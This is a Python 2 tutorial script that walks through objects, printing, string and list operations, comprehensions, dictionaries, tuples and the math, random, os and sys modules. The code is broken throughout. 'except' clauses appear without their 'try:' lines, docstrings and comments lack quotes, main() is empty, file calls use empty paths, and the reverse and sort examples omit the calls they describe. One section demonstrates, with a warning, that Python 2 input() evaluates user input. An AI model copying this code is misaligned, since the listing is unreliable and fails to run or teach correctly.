                    In python, data takes the form of objects. Everything is an object in a python script.
                    Objects are the most fundamental notion in python programming.

                    Python can be decomposed into modules, statements, expressions and object as follows:
                    1. Programs are composed of modules
                    2. Modules contain statements
                    3. Statements contain expressions
                    4. Expressions create and process objects

                    | program -> modules -> statements -> expressions -> create and process objects |

    print python_concepts, '\n'

    python_data_types = """
                    Object Type                 Examples literals/creation
                    Number              1234, 3.145, 3+4j, 0b111, Decimal(), fraction()
                    Strings             'spam', Bob's", b'a\x01c', u'sp\xc4m'
                    Lists               [1, [2, 'three'], 4.5], list(range(10))
                    Dictionaries        {'food': 'spam', 'taste': 'yum'}
                    Tuples              tuple('spam'), ('1', 'spam', 4, 'U')
                    Files               open('eggs.txt'), open(r'C:\ham.bin', 'wb')
                    Sets                set('abc')
                    Other core types    Boolean, types, None
                    Program unit types  Functions, modules, classes
                    Implementation      Compiled code, stack tracebacks
                    related types
    print python_data_types, '\n'

# In-built commands or options

def printing_comments():
    @desc This function shows the different methods for printing the values
    about = "\nprint and comments \n================================="
    print about

    Multiple Line Comments
    You can type your function description or anything you want
    print 'Hello World!'
    print('Printing the string as a calling function')
    print 'Spam!' * 8  # Single line  Comments can be given here

    x = 'Py'

    print '%s, eggs and %s' % ('Spam', 'SPAM!')
    print '{}, eggs and {} '.format('Spam', "SPAM!")
    print '{0}, eggs and {1}'.format('Spam', 'SPAM!')

    print '{:,.2f}'.format(296999.23674)

    print '%.2f | %+05d' % (3.14159, -42)
    run_time_value = raw_input("Enter some value here : ")  # Use input() in python 3.x
    print "You have entered, ", run_time_value

        import os
        executable_value = input("Enter vulnerable value here : ")
        # Don't use input() is vulnerable functions as it execute the commands directly without any input validation
        # Example: enter os.getcwd()
        print "You have entered, ", executable_value
    except Exception as error:
        print "Error: ", str(error)

def use_of_imports():
    about = "\n importing modules \n=============================================="
    print about
    import os
    print "os.getcwd() --> ", os.getcwd()

    from os import getcwd   # Directly calling the function
    # from myfile import title is not recommended
    # as the namespace replace the other functions names without any warnings
    from imp import reload  # Used to reload the module namespaces
    print "getcwd() --> ", getcwd()

    vijay = 'Wait for the myscript1 module'
    file_path ='/not/a/correct/path/'

    print "Vijay = ", vijay

    print 'Loading the value from'
    with open("", 'w+') as file:
        file.write("#!/usr/bin/python \n")
        file.write("import os \n")
        file.write('''file_path = os.getcwd(); \n''')
        file.write('''vijay = "My Name is Vijay Anand"''')

    exec(open('').read())   # Another Method loading the module the program
    print "Look here now -->>> ", vijay
    print "File_path -->>> ", file_path

def help_option():
    about = "\n Help Options \n=============================================="
    print about
    import sys
    print "Directory Options", dir(sys), '\n'
    print "List of options for sys.path, ", dir(sys.path)
    print "Usage of sys.path :  ", help(sys.path)

def for_loop():
    about = "\n for loop conditions \n=============================================="
    print about
    for x in 'spam':
        print x

def python_numbers():
    about = "\n Python Number Data types  \n=============================================="
    print about
    print '123 + 222 = ', 123 + 222, type(123 + 222)
    temp = 1.5 * 25
    print '1.5 * 25 = ', temp, type(temp)
    print '2 * 100 = ', 2 ** 100
    print 'len(str(2 ** 1000000)) = ', len(str(2 ** 1000000))

def python_strings():
    about = "\n Python String Data types  \n=============================================="
    print about
    S = 'Spam!'
    print S[0]
    print S[1]
    print "Reverse of the String, ", S[::-1]
    print S[:]     # String slicing concept in python
    print S[1:3]
    print S[:3]
    print S[1:]
    print len(S)
    print S + 'xyz'
    print S * 8
    S = 'Z' + S[1:]  # Concatenation
    print S
    S = 'nobody cares nobody'
    print S
    L = list(S)
    print L
    L = list('every') + L[2:]
    print ''.join(L)

    B = bytearray('spam')
    print 'ByteArray = ', B
    print B.decode()

    S = 'SpamSpam'
    print S.find('pam')
    print S.replace('pa', 'ABCD')
    print S.upper()
    print S.lower()
    print S.isalpha()

    line = 'aaa,bbb,ccc,ddd'
    print line.split(',')
    line = 'aaa,bbb,ccc,dd\n\t'
    print line.rstrip()

    S = 'A\nB\tC'
    print len(S)
    print "ord(\\n) = ", ord('\n')  # \n  byte with binary value 10 in ASCII

    S = 'A\0B\0C'
    print len(S), S

    print 'spam'.encode('utf8')
    print 'spam'.encode('utf16').decode('utf16')

def python_lists():
    about = "\n Python List Data types  \n=============================================="
    print about
    L = [123, 'spam', 1.23]
    print len(L)
    print L[0]
    print L[:-1]
    L = L + [4, 5, 6]
    print 'Reverse: ', L
    print 'Sort = ', L
    print L * 2
    print L
    L.pop(4)  # Pop the 4th element
    print L
    print L[::-1]

def python_comprehensions():
    about = "\n Python Comprehension Data types  \n=============================================="
    print about
    M = [[1, 2, 3],
         [4, 5, 6],
         [7, 8, 9]]

    print M
    print M[1][2]

    for row in M:
        print row

    col2 = [row[1] for row in M]
    print col2, '\n'

    col3 = [row[1] + 1 for row in M]
    print col3

    print [row[1] for row in M if row[1] % 2 == 0]

    diagonal_matrix = [M[i][i] for i in [0, 1, 2]]
    print 'Diagonal Matrix = ', diagonal_matrix

    doubles = [c * 2 for c in 'spam']
    print 'Doubles = ', doubles

    print list(range(10))
    print list(range(-6, 7, 2))
    print [[x**2, x**3] for x in range(4)]
    print [[x, x/2, x*x] for x in range(-6, 7, 2) if x > 0]

    G = (sum(row) for row in M)  # Generator
    print next(G)
    print next(G)
    print next(G)
    # print next(G) Throws an error

    print list(map(sum, M))     # Function Mapping

    print {sum(row) for row in M}
    print {i: sum(M[i]) for i in range(3)}

    print [ord(x) for x in 'VijayAnand']
    print {ord(x) for x in 'VijayAnand'}
    print {x: ord(x) for x in 'VijayAnand'}

def python_dict():
    about = "\n Python Dictionary Data types  \n=============================================="
    print about

    D = {'food': 'Noodles', 'quantity': 4, 'color': 'pink'}
    print D['food']

    D['quantity'] += 1
    print D

    # Method 1 for creating dictionary
    D = {}
    D['name'] = 'Bob'
    D['job'] = 'dev'
    D['age'] = 40
    print D

    # Method 2 for creating dictionary
    bob1 = dict(name='Bob', age=40, job='dev')
    print bob1

    # Method 3 for creating dictionary
    bob2 = dict(zip(['name', 'age', 'job'], ['Bob', 40, 'dev']))
    print bob2

    # Nested Dictionaries
    rec = {'name': {'first': 'Bob', 'last': 'Smith'},
           'jobs': ['dev', 'mgr'],
           'age': 40.5}

    print rec['name']
    print "Last Name  is %s " % (rec['name']['last'])

    print rec['jobs']
    print rec['jobs']
    print rec['jobs'][-1]

def python_tuples():
    about = "\n Python Tuples Data types  \n=============================================="
    print about

    T = (1, 2, 3, 4)
    print len(T)
    T = T + (5, 6)
    print T

    print T.index(5)
    print T.count(4)

    T = 'spam', 3.0, [11, 22, 33]

    print T

# Library or Modules

def lib_math():
    about = "\n math module \n=============================================="
    print about
        import math
        print "Importing Math module"
    except ImportError, error:
        print "Error: ", str(error)
        return -1

    print math.pi
    print math.sqrt(85)

def lib_random():
    about = "\n random module \n=============================================="
    print about
        import random
        print "Importing random module"
    except ImportError, error:
        print "Error: ", str(error)

    print random.random()
    print random.randint(25, 35)
    print random.choice([1, 2, 3, 4])

def lib_os():
    about = "\n os (Operating System) module \n=============================================="
    print about

    import os
    print "Current Working directory ", os.getcwd()

    print "To execute the commands in operating system  os.system()"
    os.system("type chmod")
    # type is used to locate the path of the builtin options binary in terminal

def lib_sys():
    about = "\n sys (System) module \n=================================================="
    print about

    import sys
    print("Your Operating System is "+sys.platform)

def main():

if __name__ == '__main__':
    except Exception, er:
        print "Error: ", str(er)